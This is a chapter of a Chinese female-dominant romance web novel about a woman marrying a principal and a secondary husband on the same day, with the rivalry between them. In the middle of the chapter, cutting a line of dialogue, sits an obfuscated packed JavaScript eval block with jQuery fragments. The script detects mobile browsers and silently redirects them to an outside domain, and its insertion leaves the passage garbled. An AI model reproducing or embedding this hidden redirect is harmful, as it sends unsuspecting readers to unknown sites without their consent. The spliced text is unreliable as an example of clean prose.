19. 第十九章
作品:《两个夫郎又如何?(女尊)》 休沐日后,齐言规规矩矩地度过一月,期间未再与崔阮两方相见,司礼部也赶着筹备皇家婚事,没再来找她麻烦。
婚期前齐府上下忙得不可开交,她不敢劳烦母亲,亲自视察各处以确保万事周全。在给朝中同僚、亲戚同族与世家好友下了喜帖后,吉日终于来临。
当天鸡还未鸣,齐言便起身下床,十几名小侍早早候在一旁,在她醒来时“呼啦啦”地涌上来,开始替她梳洗打扮。
大梁官员成婚,按例有十来日的假,齐言昨天忙了半日歇了半日,这会儿精神倒也还好。
小侍们手捧银质托盘,先为她穿戴婚服,好不容易展平裙摆,又得照规制梳发髻。
发是精致盘髻,上罩网状金丝,并用根长长玉笄固定。笄上会再添六件珠宝坠饰,工艺精巧,光彩夺目。
接着便是描妆,妆容以白皙为美,她本就白,只敷了薄薄一层粉,化远山眉,涂朱色口脂,最后再在两颊酒窝处点上红点。
齐言对上铜镜中的自己,只觉满目金玉翡翠,隆重妆饰下是张霞姿韵月的脸,五官气质完美融合,挑不出半分错处。
冯吉自开始便等在旁侧,见小侍们在做最后的打理,上前一步道:“天快亮了,亲迎队伍是时候该出发了。”
齐言点头,穿上下人捧来的云纹丝履,“让她们先走,我们也别耽误时辰。”
贵族结亲,女方需到祖庙行祭告之礼,同时仪仗队会浩浩荡荡赶往男方家,用顶凤轿将人抬回。
冯吉垂头应是,将两支不同方向的队伍安排妥当,这才伴随齐言前去告庙。
告庙仪式烦琐,且仅由她一人参与,齐言头回脱离母亲独自进入庙堂,一面想着今日过后便算成家,一面手持三炷香,向列祖列宗说明自己即将迎娶新君。
还是两位,得求祖宗一并保佑他们。
如此花费半日,返回府中时母亲已坐上正厅主座,齐言身着繁重装束行礼拜见,又从冯吉口中得知那边队伍刚接上人。
她稍感紧张,开始正式的等待。
午时,人终于到了。
崔家是八抬大轿,轿顶饰有金翟鸟,阮家等级稍低,抬轿者是为六人,用的鸳鸯纹案。
齐言提前候在府外,见到两方婚轿一前一后到达,紧张情绪倏地攀升,掌心不由冒出层汗。
两个夫郎。
真是两个夫郎。
齐言心里乱跳,表面却丝毫不显,她端端正正立在原处,静候两位下轿。
崔显为正君,自然先下,他与齐言身着同等款式的玄纁吉服,青丝尽数拢起,一丝不苟地收束在爵弁冠内。
冠呈方正型,两侧坠有朱缨,是男子婚嫁时佩戴的古老礼冠。
朱是红,瞳是黑,肌肤是温润的白,齐言目光定在对方略作修饰的面上,一时竟有些走神。
崔显抬眼,撞上齐言时嘴角牵动,清浅一笑。
齐言心脏“扑通扑通”乱跳。
时隔多日未见,再遇又是婚嫁大事,齐言好不容易按下悸动情绪,准备按礼上前牵人。
可刚抬脚,右方轿撵又生出动静。
阮知湫身为侧君,不配享有正室配色,他一袭朱红婚服,出轿时轻微踉跄了下。
齐言瞬间提起颗心,本能地想上前搀扶,对方却已借力站稳,在阮家陪侍的簇拥下朝她望来。
这下她不但走神,连呼吸都为之一窒。
阮知湫美,今日更是美得不可方物,他虽依制戴好礼冠,却偏有几缕发丝悄然溜出,不经意地贴在他修长的颈侧。
柔弱、易碎、一双美眸温软含情,无声胜似有声。
齐言想到男子成婚前会沐浴熏香,也不知阮知湫身上带有什么味道。
她勉强截住胡思乱想,收回目光后便先朝崔显走去。
正君恭顺谦卑,在她接近时微微福身同她行礼,齐言将其扶住,还未来得及开口,另一方的陪侍忽地赶来禀报:“主子,我家郎君方才将脚崴了。”
崔显与阮知湫嫁入齐府,带过来的人自然也归齐姓,她接下这声“主子”,在听到后半句话时想到那一踉跄,忙问:“有无大碍?”
陪侍看着眼熟,齐言忆起他名为“青羽”,看他着急道:“我家郎君最能忍痛,主子可亲去问询。”
齐言生怕阮知湫身体不适,听后下意识就想往对面去。
这时掌心忽地一热,身旁崔显听到这番对谈,主动握过她的手道:“妻主,我们该先行了。”
正君为首,无论怎样,都需先将正君迎进府。
齐府犹豫两秒,而后反握住对方的手,安抚性地答了个“嗯”字。
她吩咐下人仔细照看好侧君,也没再去管,只携着崔显踏上正门台阶。
她离崔显近,能闻到股淡淡的檀木香,正想着对方挑选的熏香不错,下方却传来声不轻不重的“嘶”声。
齐言回头,见青羽正搀扶着阮知湫,略显艰难地往上走。
她些微慌神,招来冯吉道:“让侧君在下面等着,待会儿我去牵他。”
冯吉赶忙传话,几秒后蹬着大步跑回,“侧君说不能让主子为难,他自己进府便可。”
世家结亲流程繁多,新人需跨马鞍过火盆,再在正堂内跪拜天地,随后男方被送进洞房,女方则留下赴宴。
喜宴中女方需接受众人祝贺,并向尊贵宾客献酒,整个过程都得保持端庄,体现世家宗族的规矩和教养。
如今府上同日迎娶两位夫郎,按礼按制,她都得以正君为主,先与崔显走完过程。
可眼下阮知湫不慎崴脚,还要强撑着独自进门,齐言想到他那副柔弱性子,实打实地担心起来。
她安抚崔显,是不想让其多虑,可说到底也舍不下阮知湫,于是暗自咬了咬牙,这才发话道:“将侧君扶上来,一起过门。”
左边握崔显,右边牵阮知湫,就算上头有规矩,在场的都是自家人,没谁敢在背后嚼舌根。
冯吉闻言愣了愣,不过还是按吩咐办事,齐言停在台阶处,转头对崔显解释道:“他行动不便……”
这话简短苍白,她打算再补两句,对方却握紧她的手,“我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399068|183737||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不介意。”
崔显一如既往道:“我都听妻主的。”
齐言觉得对方属实大方懂事,不由在心底暗暗点头,而崔显却垂下眼眸,仿佛不敢看她似的轻声道:“妻主今天很美。”
他又露出抹浅笑,“我见到时,几乎未能守住心神。”
崔显掌心温热,勾着齐言指尖,像说悄悄话般对上她的视线,“今夜陪我好吗?”
“我很想你。”
齐言怔住。
不对?
她怎么把这茬忘了?
同日迎正纳侧,既是圣上恩许,也为平衡两方背后势力,按理说新婚夜的确是要去正君寝房……
没给她更多时间反应,一道浓郁而不腻滞的茉莉香味便笼在鼻尖。
阮知湫已至跟前,一面她行礼一面抬起双眼波流转的眸,“妻主。”
齐言被美貌惊住,也没想对方是否听见自己与崔显的对话,只将空着的手伸过去,“我走慢些,你当心护着自己。”
阮知湫点头,身旁陪侍也识趣退下,齐言暂时忘却方才那道难题,牵着左右两位一同过门。
这边缓慢行进,那边下人们却忙得焦头烂额,齐言携着崔显与阮知湫踏过齐府门槛,立刻就有侍从搬来两副马鞍。
她左右看看,按习俗道:“跨。”
正侧两君先后抬脚,而冯吉在旁边拔高嗓门道:“新人跨马鞍,一世保平安!”
府中众人顿时喝彩出声。
随后是过火盆,齐言说了个“过”,冯吉便又出口吉祥话:“过火盆,晦气除,日子甜过红糖露!”
齐言满耳都是叫好声,在热闹中悄悄偏向右手边,“脚疼吗?”
阮知湫嗓音放得低而轻,“有妻主在就不痛。”
齐言完全不敢多看他,“嗯”声过后便摆正位置,然而想了想,她又偏往左手边。
“闹到你了吗?”她问。
崔显清贵高洁,自小到大都不一定见过这番哄闹场面,不过对方摇了摇头,“我很欢喜。”
但他面上泛起层薄薄的粉,没瞒过齐言的眼。
肯定是闹到了。
齐言想着这都是自家人闹腾,若放民间,连洞房时都会闯进乌泱泱的一大群。这时冯吉赶上来提醒,说老祖宗还在正厅里等新人去磕头。
齐言点头,顺势握紧两边。
拜堂礼就庄严许多,先拜天地,再拜高堂,齐言跪上拜垫,恭恭敬敬地给母亲磕了个头。
随后是崔显,再是阮知湫,齐母一面说“起”,一面细细瞧着两位的身形样貌。
她身子仍旧不大好,但强撑着没咳嗽,打量一番后露出点笑,示意冯吉继续喊礼。
于是冯吉高声道:“妻夫对拜!”
齐言起身,正想和崔显对礼,右手方的阮知湫却忽然抿了抿唇。
“妻主,”他声调低,只在两人间传上个来回,“你会看低我吗?”
他像从一开始犹豫到现在,终于在礼成前的最后时刻问道:“即便正君为主,妻主也不会轻视我对吗?”